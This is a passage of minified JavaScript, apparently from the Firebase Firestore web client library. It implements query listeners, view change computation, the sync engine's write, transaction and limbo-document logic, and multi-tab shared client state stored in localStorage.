e=this;return c(this,function(n){return $i(t.code)||t.code===nr.ABORTED?(Xn("RemoteStore","RemoteStore error before completed handshake; resetting stream token: ",this.writeStream.lastStreamToken),this.writeStream.lastStreamToken=er(),[2,this.localStore.setLastStreamToken(er()).catch(function(t){return e.ignoreIfPrimaryLeaseLoss(t)})]):[2]})})},t.prototype.handleWriteError=function(t){return u(this,void 0,void 0,function(){var e,n=this;return c(this,function(r){return $i(t.code)?(e=this.writePipeline.shift(),this.writeStream.inhibitBackoff(),[2,this.syncEngine.rejectFailedWrite(e.batchId,t).then(function(){return n.fillWritePipeline()})]):[2]})})},t.prototype.createTransaction=function(){return new Ua(this.datastore)},t.prototype.handleCredentialChange=function(){return u(this,void 0,void 0,function(){return c(this,function(t){switch(t.label){case 0:return this.canUseNetwork()?(Xn("RemoteStore","RemoteStore restarting streams for new credential"),this.networkEnabled=!1,[4,this.disableNetworkInternal()]):[3,3];case 1:return t.sent(),this.onlineStateTracker.set(Oa.Unknown),[4,this.enableNetwork()];case 2:t.sent(),t.label=3;case 3:return[2]}})})},t.prototype.applyPrimaryState=function(t){return u(this,void 0,void 0,function(){return c(this,function(e){switch(e.label){case 0:return this.isPrimary=t,t&&this.networkEnabled?[4,this.enableNetwork()]:[3,2];case 1:return e.sent(),[3,4];case 2:return t?[3,4]:[4,this.disableNetworkInternal()];case 3:e.sent(),this.onlineStateTracker.set(Oa.Unknown),e.label=4;case 4:return[2]}})})},t}(),Wa=function(){return function(){this.listeners=[]}}(),ja=function(){function t(t){this.syncEngine=t,this.queries=new cs(function(t){return t.canonicalId()}),this.onlineState=Oa.Unknown,this.syncEngine.subscribe(this)}return t.prototype.listen=function(t){var e=t.query,n=!1,r=this.queries.get(e);return r||(n=!0,r=new Wa,this.queries.set(e,r)),r.listeners.push(t),t.applyOnlineStateChange(this.onlineState),r.viewSnap&&t.onViewSnapshot(r.viewSnap),n?this.syncEngine.listen(e).then(function(t){return r.targetId=t,t}):Promise.resolve(r.targetId)},t.prototype.unlisten=function(t){return u(this,void 0,void 0,function(){var e,n,r,i;return c(this,function(o){return e=t.query,n=!1,(r=this.queries.get(e))&&(i=r.listeners.indexOf(t))>=0&&(r.listeners.splice(i,1),n=0===r.listeners.length),n?(this.queries.delete(e),[2,this.syncEngine.unlisten(e)]):[2]})})},t.prototype.onWatchChange=function(t){for(var e=0,n=t;e<n.length;e++){var r=n[e],i=r.query,o=this.queries.get(i);if(o){for(var s=0,a=o.listeners;s<a.length;s++){a[s].onViewSnapshot(r)}o.viewSnap=r}}},t.prototype.onWatchError=function(t,e){var n=this.queries.get(t);if(n)for(var r=0,i=n.listeners;r<i.length;r++){i[r].onError(e)}this.queries.delete(t)},t.prototype.onOnlineStateChange=function(t){this.onlineState=t,this.queries.forEach(function(e,n){for(var r=0,i=n.listeners;r<i.length;r++){i[r].applyOnlineStateChange(t)}})},t}(),Ga=function(){function t(t,e,n){this.query=t,this.queryObserver=e,this.raisedInitialEvent=!1,this.onlineState=Oa.Unknown,this.options=n||{}}return t.prototype.onViewSnapshot=function(t){if(Zn(t.docChanges.length>0||t.syncStateChanged,"We got a new snapshot with no changes?"),!this.options.includeMetadataChanges){for(var e=[],n=0,r=t.docChanges;n<r.length;n++){var i=r[n];i.type!==lo.Metadata&&e.push(i)}t=new go(t.query,t.docs,t.oldDocs,e,t.mutatedKeys,t.fromCache,t.syncStateChanged,!0)}this.raisedInitialEvent?this.shouldRaiseEvent(t)&&this.queryObserver.next(t):this.shouldRaiseInitialEvent(t,this.onlineState)&&this.raiseInitialEvent(t),this.snap=t},t.prototype.onError=function(t){this.queryObserver.error(t)},t.prototype.applyOnlineStateChange=function(t){this.onlineState=t,this.snap&&!this.raisedInitialEvent&&this.shouldRaiseInitialEvent(this.snap,t)&&this.raiseInitialEvent(this.snap)},t.prototype.shouldRaiseInitialEvent=function(t,e){if(Zn(!this.raisedInitialEvent,"Determining whether to raise first event but already had first event"),!t.fromCache)return!0;var n=e!==Oa.Offline;return this.options.waitForSyncWhenOnline&&n?(Zn(t.fromCache,"Waiting for sync, but snapshot is not from cache"),!1):!t.docs.isEmpty()||e===Oa.Offline},t.prototype.shouldRaiseEvent=function(t){if(t.docChanges.length>0)return!0;var e=this.snap&&this.snap.hasPendingWrites!==t.hasPendingWrites;return!(!t.syncStateChanged&&!e)&&!0===this.options.includeMetadataChanges},t.prototype.raiseInitialEvent=function(t){Zn(!this.raisedInitialEvent,"Trying to raise initial events for second time"),t=go.fromInitialDocuments(t.query,t.docs,t.mutatedKeys,t.fromCache),this.raisedInitialEvent=!0,this.queryObserver.next(t)},t}(),za=function(){function t(t,e,n){this.targetId=t,this.addedKeys=e,this.removedKeys=n}return t.fromSnapshot=function(e,n){for(var r=uo(),i=uo(),o=0,s=n.docChanges;o<s.length;o++){var a=s[o];switch(a.type){case lo.Added:r=r.add(a.doc.key);break;case lo.Removed:i=i.add(a.doc.key)}}return new t(e,r,i)},t}(),Ha=function(){return function(t){this.key=t}}(),Xa=function(){return function(t){this.key=t}}(),Ya=function(){function t(t,e){this.query=t,this._syncedDocuments=e,this.syncState=null,this.current=!1,this.limboDocuments=uo(),this.mutatedKeys=uo(),this.documentSet=new po(t.docComparator.bind(t))}return Object.defineProperty(t.prototype,"syncedDocuments",{get:function(){return this._syncedDocuments},enumerable:!0,configurable:!0}),t.prototype.computeDocChanges=function(t,e){var n=this,r=e?e.changeSet:new yo,i=e?e.documentSet:this.documentSet,o=e?e.mutatedKeys:this.mutatedKeys,s=i,a=!1,u=this.query.hasLimit()&&i.size===this.query.limit?i.last():null;if(t.inorderTraversal(function(t,e){var c=i.get(t),h=e instanceof zr?e:null;h&&(Zn(t.isEqual(h.key),"Mismatching keys found in document changes: "+t+" != "+h.key),h=n.query.matches(h)?h:null);var l=!!c&&n.mutatedKeys.has(c.key),f=!!h&&(h.hasLocalMutations||n.mutatedKeys.has(h.key)&&h.hasCommittedMutations),d=!1;c&&h?c.data.isEqual(h.data)?l!==f&&(r.track({type:lo.Metadata,doc:h}),d=!0):n.shouldWaitForSyncedDocument(c,h)||(r.track({type:lo.Modified,doc:h}),d=!0,u&&n.query.docComparator(h,u)>0&&(a=!0)):!c&&h?(r.track({type:lo.Added,doc:h}),d=!0):c&&!h&&(r.track({type:lo.Removed,doc:c}),d=!0,u&&(a=!0));d&&(h?(s=s.add(h),o=f?o.add(t):o.delete(t)):(s=s.delete(t),o=o.delete(t)))}),this.query.hasLimit())for(;s.size>this.query.limit;){var c=s.last();s=s.delete(c.key),o=o.delete(c.key),r.track({type:lo.Removed,doc:c})}return Zn(!a||!e,"View was refilled using docs that themselves needed refilling."),{documentSet:s,changeSet:r,needsRefill:a,mutatedKeys:o}},t.prototype.shouldWaitForSyncedDocument=function(t,e){return t.hasLocalMutations&&e.hasCommittedMutations&&!e.hasLocalMutations},t.prototype.applyChanges=function(t,e,n){var r=this;Zn(!t.needsRefill,"Cannot apply changes that need a refill");var i=this.documentSet;this.documentSet=t.documentSet,this.mutatedKeys=t.mutatedKeys;var o=t.changeSet.getChanges();o.sort(function(t,e){return function(t,e){var n=function(t){switch(t){case lo.Added:return 1;case lo.Modified:case lo.Metadata:return 2;case lo.Removed:return 0;default:return $n("Unknown ChangeType: "+t)}};return n(t)-n(e)}(t.type,e.type)||r.query.docComparator(t.doc,e.doc)}),this.applyTargetChange(n);var s=e?this.updateLimboDocuments():[],a=0===this.limboDocuments.size&&this.current?fo.Synced:fo.Local,u=a!==this.syncState;return this.syncState=a,0!==o.length||u?{snapshot:new go(this.query,t.documentSet,i,o,t.mutatedKeys,a===fo.Local,u,!1),limboChanges:s}:{limboChanges:s}},t.prototype.applyOnlineStateChange=function(t){return this.current&&t===Oa.Offline?(this.current=!1,this.applyChanges({documentSet:this.documentSet,changeSet:new yo,mutatedKeys:this.mutatedKeys,needsRefill:!1},!1)):{limboChanges:[]}},t.prototype.shouldBeInLimbo=function(t){return!this._syncedDocuments.has(t)&&(!!this.documentSet.has(t)&&!this.documentSet.get(t).hasLocalMutations)},t.prototype.applyTargetChange=function(t){var e=this;t&&(t.addedDocuments.forEach(function(t){return e._syncedDocuments=e._syncedDocuments.add(t)}),t.modifiedDocuments.forEach(function(t){return Zn(e._syncedDocuments.has(t),"Modified document "+t+" not found in view.")}),t.removedDocuments.forEach(function(t){return e._syncedDocuments=e._syncedDocuments.delete(t)}),this.current=t.current)},t.prototype.updateLimboDocuments=function(){var t=this;if(!this.current)return[];var e=this.limboDocuments;this.limboDocuments=uo(),this.documentSet.forEach(function(e){t.shouldBeInLimbo(e.key)&&(t.limboDocuments=t.limboDocuments.add(e.key))});var n=[];return e.forEach(function(e){t.limboDocuments.has(e)||n.push(new Xa(e))}),this.limboDocuments.forEach(function(t){e.has(t)||n.push(new Ha(t))}),n},t.prototype.synchronizeWithPersistedState=function(t,e){this._syncedDocuments=e,this.limboDocuments=uo();var n=this.computeDocChanges(t);return this.applyChanges(n,!0)},t.prototype.computeInitialSnapshot=function(){return go.fromInitialDocuments(this.query,this.documentSet,this.mutatedKeys,this.syncState===fo.Local)},t}();var Ja=function(){return function(t,e,n){this.query=t,this.targetId=e,this.view=n}}(),$a=function(){return function(t){this.key=t}}(),Za=function(){function t(t,e,n,r){this.localStore=t,this.remoteStore=e,this.sharedClientState=n,this.currentUser=r,this.syncEngineListener=null,this.queryViewsByQuery=new cs(function(t){return t.canonicalId()}),this.queryViewsByTarget={},this.limboTargetsByKey=new Yr(jr.comparator),this.limboResolutionsByTarget={},this.limboDocumentRefs=new ba,this.mutationUserCallbacks={},this.limboTargetIdGenerator=Js.forSyncEngine(),this.isPrimary=void 0,this.onlineState=Oa.Unknown}return Object.defineProperty(t.prototype,"isPrimaryClient",{get:function(){return!0===this.isPrimary},enumerable:!0,configurable:!0}),t.prototype.subscribe=function(t){Zn(null!==t,"SyncEngine listener cannot be null"),Zn(null===this.syncEngineListener,"SyncEngine already has a subscriber."),this.syncEngineListener=t},t.prototype.listen=function(t){return u(this,void 0,void 0,function(){var e,n,r,i,o;return c(this,function(s){switch(s.label){case 0:return this.assertSubscribed("listen()"),(r=this.queryViewsByQuery.get(t))?(e=r.targetId,this.sharedClientState.addLocalQueryTarget(e),n=r.view.computeInitialSnapshot(),[3,4]):[3,1];case 1:return[4,this.localStore.allocateQuery(t)];case 2:return i=s.sent(),o=this.sharedClientState.addLocalQueryTarget(i.targetId),e=i.targetId,[4,this.initializeViewAndComputeSnapshot(i,"current"===o)];case 3:n=s.sent(),this.isPrimary&&this.remoteStore.listen(i),s.label=4;case 4:return this.syncEngineListener.onWatchChange([n]),[2,e]}})})},t.prototype.initializeViewAndComputeSnapshot=function(t,e){var n=this,r=t.query;return this.localStore.executeQuery(r).then(function(i){return n.localStore.remoteDocumentKeys(t.targetId).then(function(o){var s=new Ya(r,o),a=s.computeDocChanges(i),u=bo.createSynthesizedTargetChangeForCurrentChange(t.targetId,e&&n.onlineState!==Oa.Offline),c=s.applyChanges(a,!0===n.isPrimary,u);Zn(0===c.limboChanges.length,"View returned limbo docs before target ack from the server."),Zn(!!c.snapshot,"applyChanges for new view should always return a snapshot");var h=new Ja(r,t.targetId,s);return n.queryViewsByQuery.set(r,h),n.queryViewsByTarget[t.targetId]=h,c.snapshot})})},t.prototype.synchronizeViewAndComputeSnapshot=function(t){var e=this;return this.localStore.executeQuery(t.query).then(function(n){return e.localStore.remoteDocumentKeys(t.targetId).then(function(r){return u(e,void 0,void 0,function(){var e;return c(this,function(i){return e=t.view.synchronizeWithPersistedState(n,r),this.isPrimary&&this.updateTrackedLimbos(t.targetId,e.limboChanges),[2,e]})})})})},t.prototype.unlisten=function(t){return u(this,void 0,void 0,function(){var e,n=this;return c(this,function(r){switch(r.label){case 0:return this.assertSubscribed("unlisten()"),Zn(!!(e=this.queryViewsByQuery.get(t)),"Trying to unlisten on query not found:"+t),this.isPrimary?(this.sharedClientState.removeLocalQueryTarget(e.targetId),this.sharedClientState.isActiveQueryTarget(e.targetId)?[3,2]:[4,this.localStore.releaseQuery(t,!1).then(function(){n.sharedClientState.clearQueryState(e.targetId),n.remoteStore.unlisten(e.targetId),n.removeAndCleanupQuery(e)}).catch(function(t){return n.ignoreIfPrimaryLeaseLoss(t)})]):[3,3];case 1:r.sent(),r.label=2;case 2:return[3,5];case 3:return this.removeAndCleanupQuery(e),[4,this.localStore.releaseQuery(t,!0)];case 4:r.sent(),r.label=5;case 5:return[2]}})})},t.prototype.write=function(t,e){var n=this;return this.assertSubscribed("write()"),this.localStore.localWrite(t).then(function(t){return n.sharedClientState.addPendingMutation(t.batchId),n.addMutationCallback(t.batchId,e),n.emitNewSnapsAndNotifyLocalStore(t.changes)}).then(function(){return n.remoteStore.fillWritePipeline()})},t.prototype.wrapUpdateFunctionError=function(t){return t},t.prototype.runTransaction=function(t,e){var n=this;void 0===e&&(e=5),Zn(e>=0,"Got negative number of retries for transaction.");var r=this.remoteStore.createTransaction();return function(){try{var e=t(r);return!wi(e)&&e.catch&&e.then?e.catch(function(t){return Promise.reject(n.wrapUpdateFunctionError(t))}):Promise.reject(Error("Transaction callback must return a Promise"))}catch(t){return Promise.reject(n.wrapUpdateFunctionError(t))}}().then(function(i){return r.commit().then(function(){return i}).catch(function(r){return 0===e?Promise.reject(r):n.runTransaction(t,e-1)})})},t.prototype.applyRemoteEvent=function(t){var e=this;return this.assertSubscribed("applyRemoteEvent()"),this.localStore.applyRemoteEvent(t).then(function(n){return ur(t.targetChanges,function(t,n){var r=e.limboResolutionsByTarget[t];r&&(Zn(n.addedDocuments.size+n.modifiedDocuments.size+n.removedDocuments.size<=1,"Limbo resolution for single document contains multiple changes."),n.addedDocuments.size>0?r.receivedDocument=!0:n.modifiedDocuments.size>0?Zn(r.receivedDocument,"Received change for limbo target document without add."):n.removedDocuments.size>0&&(Zn(r.receivedDocument,"Received remove for limbo target document without add."),r.receivedDocument=!1))}),e.emitNewSnapsAndNotifyLocalStore(n,t)}).catch(function(t){return e.ignoreIfPrimaryLeaseLoss(t)})},t.prototype.applyOnlineStateChange=function(t,e){if(this.isPrimary&&e===Pa.RemoteStore||!this.isPrimary&&e===Pa.SharedClientState){var n=[];this.queryViewsByQuery.forEach(function(e,r){var i=r.view.applyOnlineStateChange(t);Zn(0===i.limboChanges.length,"OnlineState should not affect limbo documents."),i.snapshot&&n.push(i.snapshot)}),this.syncEngineListener.onOnlineStateChange(t),this.syncEngineListener.onWatchChange(n),this.onlineState=t,this.isPrimary&&this.sharedClientState.setOnlineState(t)}},t.prototype.rejectListen=function(t,e){return u(this,void 0,void 0,function(){var n,r,i,o,s,a,u=this;return c(this,function(c){switch(c.label){case 0:return this.assertSubscribed("rejectListens()"),this.sharedClientState.updateQueryState(t,"rejected",e),n=this.limboResolutionsByTarget[t],(r=n&&n.key)?(this.limboTargetsByKey=this.limboTargetsByKey.remove(r),delete this.limboResolutionsByTarget[t],i=(i=new Yr(jr.comparator)).insert(r,new Hr(r,_i.forDeletedDoc())),o=uo().add(r),s=new vo(_i.MIN,{},new to(Ar),i,o),[2,this.applyRemoteEvent(s)]):[3,1];case 1:return Zn(!!(a=this.queryViewsByTarget[t]),"Unknown targetId: "+t),[4,this.localStore.releaseQuery(a.query,!1).then(function(){return u.removeAndCleanupQuery(a)}).catch(function(t){return u.ignoreIfPrimaryLeaseLoss(t)})];case 2:c.sent(),this.syncEngineListener.onWatchError(a.query,e),c.label=3;case 3:return[2]}})})},t.prototype.applyBatchState=function(t,e,n){return u(this,void 0,void 0,function(){var r;return c(this,function(i){switch(i.label){case 0:return this.assertSubscribed("applyBatchState()"),[4,this.localStore.lookupMutationDocuments(t)];case 1:return null===(r=i.sent())?(Xn("SyncEngine","Cannot apply mutation batch with id: "+t),[2]):"pending"!==e?[3,3]:[4,this.remoteStore.fillWritePipeline()];case 2:return i.sent(),[3,4];case 3:"acknowledged"===e||"rejected"===e?(this.processUserCallback(t,n||null),this.localStore.removeCachedMutationBatchMetadata(t)):$n("Unknown batchState: "+e),i.label=4;case 4:return[4,this.emitNewSnapsAndNotifyLocalStore(r)];case 5:return i.sent(),[2]}})})},t.prototype.applySuccessfulWrite=function(t){var e=this;this.assertSubscribed("applySuccessfulWrite()");var n=t.batch.batchId;return this.processUserCallback(n,null),this.localStore.acknowledgeBatch(t).then(function(t){return e.sharedClientState.updateMutationState(n,"acknowledged"),e.emitNewSnapsAndNotifyLocalStore(t)}).catch(function(t){return e.ignoreIfPrimaryLeaseLoss(t)})},t.prototype.rejectFailedWrite=function(t,e){var n=this;return this.assertSubscribed("rejectFailedWrite()"),this.processUserCallback(t,e),this.localStore.rejectBatch(t).then(function(r){return n.sharedClientState.updateMutationState(t,"rejected",e),n.emitNewSnapsAndNotifyLocalStore(r)}).catch(function(t){return n.ignoreIfPrimaryLeaseLoss(t)})},t.prototype.addMutationCallback=function(t,e){var n=this.mutationUserCallbacks[this.currentUser.toKey()];n||(n=new Yr(Ar)),n=n.insert(t,e),this.mutationUserCallbacks[this.currentUser.toKey()]=n},t.prototype.processUserCallback=function(t,e){var n=this.mutationUserCallbacks[this.currentUser.toKey()];if(n){var r=n.get(t);r&&(Zn(t===n.minKey(),"Mutation callbacks processed out-of-order?"),e?r.reject(e):r.resolve(),n=n.remove(t)),this.mutationUserCallbacks[this.currentUser.toKey()]=n}},t.prototype.removeAndCleanupQuery=function(t){var e=this;if(this.sharedClientState.removeLocalQueryTarget(t.targetId),this.queryViewsByQuery.delete(t.query),delete this.queryViewsByTarget[t.targetId],this.isPrimary){var n=this.limboDocumentRefs.referencesForId(t.targetId);this.limboDocumentRefs.removeReferencesForId(t.targetId),n.forEach(function(t){e.limboDocumentRefs.containsKey(t)||e.removeLimboTarget(t)})}},t.prototype.removeLimboTarget=function(t){var e=this.limboTargetsByKey.get(t);null!==e&&(this.remoteStore.unlisten(e),this.limboTargetsByKey=this.limboTargetsByKey.remove(t),delete this.limboResolutionsByTarget[e])},t.prototype.updateTrackedLimbos=function(t,e){for(var n=0,r=e;n<r.length;n++){var i=r[n];if(i instanceof Ha)this.limboDocumentRefs.addReference(i.key,t),this.trackLimboChange(i);else if(i instanceof Xa){Xn("SyncEngine","Document no longer in limbo: "+i.key),this.limboDocumentRefs.removeReference(i.key,t),this.limboDocumentRefs.containsKey(i.key)||this.removeLimboTarget(i.key)}else $n("Unknown limbo change: "+JSON.stringify(i))}},t.prototype.trackLimboChange=function(t){var e=t.key;if(!this.limboTargetsByKey.get(e)){Xn("SyncEngine","New document in limbo: "+e);var n=this.limboTargetIdGenerator.next(),r=Ei.atPath(e.path);this.limboResolutionsByTarget[n]=new $a(e),this.remoteStore.listen(new xi(r,n,Si.LimboResolution,zo.INVALID)),this.limboTargetsByKey=this.limboTargetsByKey.insert(e,n)}},t.prototype.currentLimboDocs=function(){return this.limboTargetsByKey},t.prototype.emitNewSnapsAndNotifyLocalStore=function(t,e){return u(this,void 0,void 0,function(){var n,r,i,o=this;return c(this,function(s){switch(s.label){case 0:return n=[],r=[],i=[],this.queryViewsByQuery.forEach(function(s,a){i.push(Promise.resolve().then(function(){var e=a.view.computeDocChanges(t);return e.needsRefill?o.localStore.executeQuery(a.query).then(function(t){return a.view.computeDocChanges(t,e)}):e}).then(function(t){var i=e&&e.targetChanges[a.targetId],s=a.view.applyChanges(t,!0===o.isPrimary,i);if(o.updateTrackedLimbos(a.targetId,s.limboChanges),s.snapshot){o.isPrimary&&o.sharedClientState.updateQueryState(a.targetId,s.snapshot.fromCache?"not-current":"current"),n.push(s.snapshot);var u=za.fromSnapshot(a.targetId,s.snapshot);r.push(u)}}))}),[4,Promise.all(i)];case 1:return s.sent(),this.syncEngineListener.onWatchChange(n),[4,this.localStore.notifyLocalViewChanges(r)];case 2:return s.sent(),[2]}})})},t.prototype.ignoreIfPrimaryLeaseLoss=function(t){return u(this,void 0,void 0,function(){return c(this,function(e){if(!da(t))throw t;return Xn("SyncEngine","Unexpectedly lost primary lease"),[2]})})},t.prototype.assertSubscribed=function(t){Zn(null!==this.syncEngineListener,"Trying to call "+t+" before calling subscribe().")},t.prototype.handleCredentialChange=function(t){return u(this,void 0,void 0,function(){var e,n;return c(this,function(r){switch(r.label){case 0:return e=!this.currentUser.isEqual(t),this.currentUser=t,e?[4,this.localStore.handleUserChange(t)]:[3,3];case 1:return n=r.sent(),this.sharedClientState.handleUserChange(t,n.removedBatchIds,n.addedBatchIds),[4,this.emitNewSnapsAndNotifyLocalStore(n.affectedDocuments)];case 2:r.sent(),r.label=3;case 3:return[4,this.remoteStore.handleCredentialChange()];case 4:return r.sent(),[2]}})})},t.prototype.applyPrimaryState=function(t){return u(this,void 0,void 0,function(){var e,n,r,i,o,s,a,u=this;return c(this,function(c){switch(c.label){case 0:return!0!==t||!0===this.isPrimary?[3,3]:(this.isPrimary=!0,[4,this.remoteStore.applyPrimaryState(!0)]);case 1:return c.sent(),e=this.sharedClientState.getAllActiveQueryTargets(),[4,this.synchronizeQueryViewsAndRaiseSnapshots(e.toArray())];case 2:for(n=c.sent(),r=0,i=n;r<i.length;r++)o=i[r],this.remoteStore.listen(o);return[3,7];case 3:return!1!==t||!1===this.isPrimary?[3,7]:(this.isPrimary=!1,s=[],a=Promise.resolve(),ar(this.queryViewsByTarget,function(t,e){u.sharedClientState.isLocalQueryTarget(t)?s.push(t):a=a.then(function(){return u.unlisten(e.query)}),u.remoteStore.unlisten(e.targetId)}),[4,a]);case 4:return c.sent(),[4,this.synchronizeQueryViewsAndRaiseSnapshots(s)];case 5:return c.sent(),this.resetLimboDocuments(),[4,this.remoteStore.applyPrimaryState(!1)];case 6:c.sent(),c.label=7;case 7:return[2]}})})},t.prototype.resetLimboDocuments=function(){var t=this;ar(this.limboResolutionsByTarget,function(e){t.remoteStore.unlisten(e)}),this.limboDocumentRefs.removeAllReferences(),this.limboResolutionsByTarget=[],this.limboTargetsByKey=new Yr(jr.comparator)},t.prototype.synchronizeQueryViewsAndRaiseSnapshots=function(t){for(var e=this,n=Promise.resolve(),r=[],i=[],o=function(t){n=n.then(function(){return u(e,void 0,void 0,function(){var e,n,o,s;return c(this,function(a){switch(a.label){case 0:return(n=this.queryViewsByTarget[t])?[4,this.localStore.releaseQuery(n.query,!0)]:[3,4];case 1:return a.sent(),[4,this.localStore.allocateQuery(n.query)];case 2:return e=a.sent(),[4,this.synchronizeViewAndComputeSnapshot(n)];case 3:return(o=a.sent()).snapshot&&i.push(o.snapshot),[3,8];case 4:return Zn(!0===this.isPrimary,"A secondary tab should never have an active query without an active view."),[4,this.localStore.getQueryForTarget(t)];case 5:return Zn(!!(s=a.sent()),"Query data for target "+t+" not found"),[4,this.localStore.allocateQuery(s)];case 6:return e=a.sent(),[4,this.initializeViewAndComputeSnapshot(e,!1)];case 7:a.sent(),a.label=8;case 8:return r.push(e),[2]}})})})},s=0,a=t;s<a.length;s++){o(a[s])}return n.then(function(){return e.syncEngineListener.onWatchChange(i),r})},t.prototype.getActiveClients=function(){return this.localStore.getActiveClients()},t.prototype.applyTargetState=function(t,e,n){return u(this,void 0,void 0,function(){var r,i=this;return c(this,function(o){switch(o.label){case 0:if(this.isPrimary)return Xn("SyncEngine","Ignoring unexpected query state notification."),[2];if(!this.queryViewsByTarget[t])return[3,5];switch(e){case"current":case"not-current":return[3,1];case"rejected":return[3,2]}return[3,4];case 1:return[2,this.localStore.getNewDocumentChanges().then(function(n){return u(i,void 0,void 0,function(){var r;return c(this,function(i){switch(i.label){case 0:return r=vo.createSynthesizedRemoteEventForCurrentChange(t,"current"===e),[4,this.emitNewSnapsAndNotifyLocalStore(n,r)];case 1:return i.sent(),[2]}})})},function(t){return u(i,void 0,void 0,function(){var e;return c(this,function(n){switch(n.label){case 0:return function(t){return t.code===nr.DATA_LOSS&&t.message===ys}(t)?(e=[],ar(this.queryViewsByTarget,function(t){return e.push(t)}),[4,this.synchronizeQueryViewsAndRaiseSnapshots(e)]):[3,2];case 1:return n.sent(),[3,3];case 2:throw t;case 3:return[2]}})})})];case 2:return r=this.queryViewsByTarget[t],this.removeAndCleanupQuery(r),[4,this.localStore.releaseQuery(r.query,!0)];case 3:return o.sent(),this.syncEngineListener.onWatchError(r.query,n),[3,5];case 4:$n("Unexpected target state: "+e),o.label=5;case 5:return[2]}})})},t.prototype.applyActiveTargetsChange=function(t,e){return u(this,void 0,void 0,function(){var n,r,i,o,s,a,u,h,l,f=this;return c(this,function(d){switch(d.label){case 0:if(!this.isPrimary)return[2];n=0,r=t,d.label=1;case 1:return n<r.length?(l=r[n],Zn(!this.queryViewsByTarget[l],"Trying to add an already active target"),[4,this.localStore.getQueryForTarget(l)]):[3,6];case 2:return Zn(!!(i=d.sent()),"Query data for active target "+l+" not found"),[4,this.localStore.allocateQuery(i)];case 3:return o=d.sent(),[4,this.initializeViewAndComputeSnapshot(o,!1)];case 4:d.sent(),this.remoteStore.listen(o),d.label=5;case 5:return n++,[3,1];case 6:s=function(t){var e;return c(this,function(n){switch(n.label){case 0:return(e=a.queryViewsByTarget[t])?[4,a.localStore.releaseQuery(e.query,!1).then(function(){f.remoteStore.unlisten(t),f.removeAndCleanupQuery(e)}).catch(function(t){return f.ignoreIfPrimaryLeaseLoss(t)})]:[3,2];case 1:n.sent(),n.label=2;case 2:return[2]}})},a=this,u=0,h=e,d.label=7;case 7:return u<h.length?(l=h[u],[5,s(l)]):[3,10];case 8:d.sent(),d.label=9;case 9:return u++,[3,7];case 10:return[2]}})})},t.prototype.enableNetwork=function(){return this.localStore.setNetworkEnabled(!0),this.remoteStore.enableNetwork()},t.prototype.disableNetwork=function(){return this.localStore.setNetworkEnabled(!1),this.remoteStore.disableNetwork()},t.prototype.getRemoteKeysForTarget=function(t){var e=this.limboResolutionsByTarget[t];return e&&e.receivedDocument?uo().add(e.key):this.queryViewsByTarget[t]?this.queryViewsByTarget[t].view.syncedDocuments:uo()},t}(),tu=function(){function t(t){this.uid=t}return t.prototype.isAuthenticated=function(){return null!=this.uid},t.prototype.toKey=function(){return this.isAuthenticated()?"uid:"+this.uid:"anonymous-user"},t.prototype.isEqual=function(t){return t.uid===this.uid},t.UNAUTHENTICATED=new t(null),t.GOOGLE_CREDENTIALS=new t("google-credentials-uid"),t.FIRST_PARTY=new t("first-party-uid"),t}(),eu="SharedClientState",nu="firestore_clients",ru="firestore_mutations",iu="firestore_targets",ou="firestore_online_state",su="firestore_sequence_number",au=function(){function t(t,e,n,r){this.user=t,this.batchId=e,this.state=n,this.error=r,Zn(void 0!==r==("rejected"===n),"MutationMetadata must contain an error iff state is 'rejected'")}return t.fromWebStorageEntry=function(e,n,r){var i=JSON.parse(r),o="object"==typeof i&&-1!==["pending","acknowledged","rejected"].indexOf(i.state)&&(void 0===i.error||"object"==typeof i.error),s=void 0;return o&&i.error&&(o="string"==typeof i.error.message&&"string"==typeof i.error.code)&&(s=new rr(i.error.code,i.error.message)),o?new t(e,n,i.state,s):(Yn(eu,"Failed to parse mutation state for ID '"+n+"': "+r),null)},t.prototype.toWebStorageJSON=function(){var t={state:this.state,updateTimeMs:Date.now()};return this.error&&(t.error={code:this.error.code,message:this.error.message}),JSON.stringify(t)},t}(),uu=function(){function t(t,e,n){this.targetId=t,this.state=e,this.error=n,Zn(void 0!==n==("rejected"===e),"QueryTargetMetadata must contain an error iff state is 'rejected'")}return t.fromWebStorageEntry=function(e,n){var r=JSON.parse(n),i="object"==typeof r&&-1!==["not-current","current","rejected"].indexOf(r.state)&&(void 0===r.error||"object"==typeof r.error),o=void 0;return i&&r.error&&(i="string"==typeof r.error.message&&"string"==typeof r.error.code)&&(o=new rr(r.error.code,r.error.message)),i?new t(e,r.state,o):(Yn(eu,"Failed to parse target state for ID '"+e+"': "+n),null)},t.prototype.toWebStorageJSON=function(){var t={state:this.state,updateTimeMs:Date.now()};return this.error&&(t.error={code:this.error.code,message:this.error.message}),JSON.stringify(t)},t}(),cu=function(){function t(t,e){this.clientId=t,this.activeTargetIds=e}return t.fromWebStorageEntry=function(e,n){for(var r=JSON.parse(n),i="object"==typeof r&&r.activeTargetIds instanceof Array,o=ho(),s=0;i&&s<r.activeTargetIds.length;++s)i=Ti(r.activeTargetIds[s]),o=o.add(r.activeTargetIds[s]);return i?new t(e,o):(Yn(eu,"Failed to parse client data for instance '"+e+"': "+n),null)},t}(),hu=function(){function t(t,e){this.clientId=t,this.onlineState=e}return t.fromWebStorageEntry=function(e){var n=JSON.parse(e);return"object"==typeof n&&void 0!==Oa[n.onlineState]&&"string"==typeof n.clientId?new t(n.clientId,Oa[n.onlineState]):(Yn(eu,"Failed to parse online state: "+e),null)},t}(),lu=function(){function t(){this.activeTargetIds=ho()}return t.prototype.addQueryTarget=function(t){Zn(!this.activeTargetIds.has(t),"Target with ID '"+t+"' already active."),this.activeTargetIds=this.activeTargetIds.add(t)},t.prototype.removeQueryTarget=function(t){this.activeTargetIds=this.activeTargetIds.delete(t)},t.prototype.toWebStorageJSON=function(){var t={activeTargetIds:this.activeTargetIds.toArray(),updateTimeMs:Date.now()};return JSON.stringify(t)},t}(),fu=function(){function t(e,n,r,i,o){if(this.queue=e,this.platform=n,this.persistenceKey=r,this.localClientId=i,this.syncEngine=null,this.onlineStateHandler=null,this.sequenceNumberHandler=null,this.activeClients={},this.storageListener=this.handleWebStorageEvent.bind(this),this.started=!1,this.earlyEvents=[],!t.isAvailable(this.platform))throw new rr(nr.UNIMPLEMENTED,"LocalStorage is not available on this platform.");var s=r.replace(/[.*+?^${}()|[\]\\]/g,"\\$&");this.storage=this.platform.window.localStorage,this.currentUser=o,this.localClientStorageKey=this.toWebStorageClientStateKey(this.localClientId),this.sequenceNumberKey=su+"_"+r,this.activeClients[this.localClientId]=new lu,this.clientStateKeyRe=new 